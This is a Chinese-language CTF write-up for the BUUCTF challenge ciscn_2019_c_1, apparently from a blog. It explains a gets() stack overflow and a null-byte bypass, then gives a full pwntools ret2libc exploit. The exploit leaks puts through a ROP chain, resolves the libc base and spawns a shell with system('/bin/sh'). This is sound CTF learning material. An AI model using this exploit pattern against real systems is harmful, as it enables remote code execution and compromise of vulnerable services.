buuctf ciscn_2019_c_1 wp

记录下学习pwn的过程(感觉比re难多了,我太菜了)

查看保护
在这里插入图片描述

64位程序,64位程序 的前六个参数依次保存在 RDI, RSI, RDX, RCX, R8 和 R9,多的参数再通过栈传递

在encrypt函数里使用了gets函数,可能有栈溢出

发现对输入进行了加密

可以使用“\0”绕过

构造rop链,需要使用到rdi传递参数,又因为是ubuntu18所以需要栈对齐,使用到一个ret
在这里插入图片描述

from pwn import *
from LibcSearcher import *

p=remote("node3.buuoj.cn",25805)
pop_rdi_ret=0x400c83

elf=ELF("./ciscn_2019_c_1")
main_addr=elf.sym["main"]
puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]

p.recvuntil("Input your choice!\n")
p.sendline("1")

payload="\0"+"a"*(0x50-1+8)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr)

p.recvuntil("Input your Plaintext to be encrypted\n")
p.sendline(payload)

p.recvuntil("Ciphertext\n")
p.recvuntil("\n")

puts_addr=u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))

libc=LibcSearcher("puts",puts_addr)
lib_base=puts_addr-libc.dump("puts")
system_addr=lib_base+libc.dump("system")
bin_sh=lib_base+libc.dump("str_bin_sh")

print(hex(lib_base))
p.recvuntil("Input your choice!\n")
p.sendline("1")

ret_addr=0x4006b9
payload2="\0"+"a"*(0x50-1+8)+p64(ret_addr)+p64(pop_rdi_ret)+p64(bin_sh)+p64(system_addr)


p.recvuntil("Input your Plaintext to be encrypted\n")
p.sendline(payload2)
p.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值